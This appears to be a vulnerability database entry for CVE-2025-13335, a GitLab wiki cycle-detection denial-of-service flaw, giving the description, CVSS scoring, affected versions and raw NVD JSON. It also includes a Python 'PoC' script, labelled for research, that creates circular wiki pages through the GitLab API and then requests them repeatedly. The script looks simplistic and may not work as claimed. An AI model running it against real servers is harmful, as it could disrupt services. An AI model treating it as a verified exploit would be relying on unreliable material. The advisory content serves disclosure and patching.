Security Vulnerability Report
中文
CVE-2025-13335 CVSS 6.5 MEDIUM

CVE-2025-13335

Published: 2026-01-22 10:16:06
Last Modified: 2026-01-26 21:06:58

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.1 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that under certain circumstances could have allowed an authenticated user to create a denial of service condition by configuring malformed Wiki documents that bypass cycle detection.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 17.1 <= 版本 < 18.6.4
GitLab CE/EE 18.7 <= 版本 < 18.7.2
GitLab CE/EE 18.8 <= 版本 < 18.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13335 PoC - GitLab Wiki循环检测绕过 # 攻击者需要创建一个包含特殊循环引用的Wiki页面 # 登录GitLab后访问项目Wiki功能 import requests import json TARGET_URL = "https://gitlab.example.com" PROJECT_ID = "your-project-id" API_TOKEN = "your-private-token" def create_malicious_wiki_page(): """ 创建恶意Wiki页面,构造循环引用绕过检测 """ headers = { "PRIVATE-TOKEN": API_TOKEN, "Content-Type": "application/json" } # 构造包含循环引用的Wiki内容 # 使用特定的链接格式形成循环结构 malicious_content = """ # Page 1 - 循环起点 [[Page2|链接到页面2]] # 创建大量嵌套链接形成复杂循环 [[Page1]] [[Page1]] [[Page1]] [[Page2]] [[Page2]] [[Page2]] # 使用特殊语法构造检测盲区 [[Page1|hidden link 1]] [[Page1|hidden link 2]] [[Page1|hidden link 3]] """ data = { "title": "MaliciousWikiPage", "format": "markdown", "content": malicious_content } # 创建第一个恶意Wiki页面 url = f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/wikis" response = requests.post(url, headers=headers, json=data) # 创建Page2作为循环的一部分 data["title"] = "Page2" response2 = requests.post(url, headers=headers, json=data) # 创建Page1并构造循环 data["title"] = "Page1" data["content"] = "[[Page2]]\n[[Page1]]" response3 = requests.post(url, headers=headers, json=data) print(f"恶意Wiki页面创建完成") print(f"响应状态: {response.status_code}") return True def verify_dos(): """ 访问恶意Wiki页面触发拒绝服务 """ headers = {"PRIVATE-TOKEN": API_TOKEN} url = f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/wikis/MaliciousWikiPage" # 多次请求以增加影响 for i in range(5): response = requests.get(url, headers=headers, timeout=30) print(f"请求 {i+1}: 状态码 {response.status_code}") if __name__ == "__main__": print("CVE-2025-13335 PoC - GitLab Wiki DoS") create_malicious_wiki_page() verify_dos()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13335", "sourceIdentifier": "[email protected]", "published": "2026-01-22T10:16:06.480", "lastModified": "2026-01-26T21:06:58.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.1 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that under certain circumstances could have allowed an authenticated user to create a denial of service condition by configuring malformed Wiki documents that bypass cycle detection."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afecta a todas las versiones desde la 17.1 anterior a la 18.6.4, la 18.7 anterior a la 18.7.2 y la 18.8 anterior a la 18.8.2 que bajo ciertas circunstancias podría haber permitido a un usuario autenticado crear una condición de denegación de servicio al configurar documentos Wiki malformados que eluden la detección de ciclos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "18.6.4", "matchCriteriaId": "3267E7C6-D6A7-4E5C-A533-70B5527BC509"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "18.6.4", "matchCriteriaId": "6DE836E5-E9D9-4C53-86E6-8369FBC84278"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.2", "matchCriteriaId": "7E36C974-4A52-424A-8758-E45B750C013E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.2", "matchCriteriaId": "F71560B5-1000-45F1-8A5C-078D6C3D03E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.8.0", "versionEndExcluding": "18.8.2", "matchCriteriaId": "582D13A9-DEEE-4E3F-BFC5-61F270C99B86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.8.0", "versionEndExcluding": "18.8.2", "matchCriteriaId": "760BBB79-D5BD-4871-8522-3C2C7E65767B"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/01/21/patch-release-gitlab-18-8-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/581060", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3418023", "source": "[email protected]", "tags": ["Permissions Required"]}]}}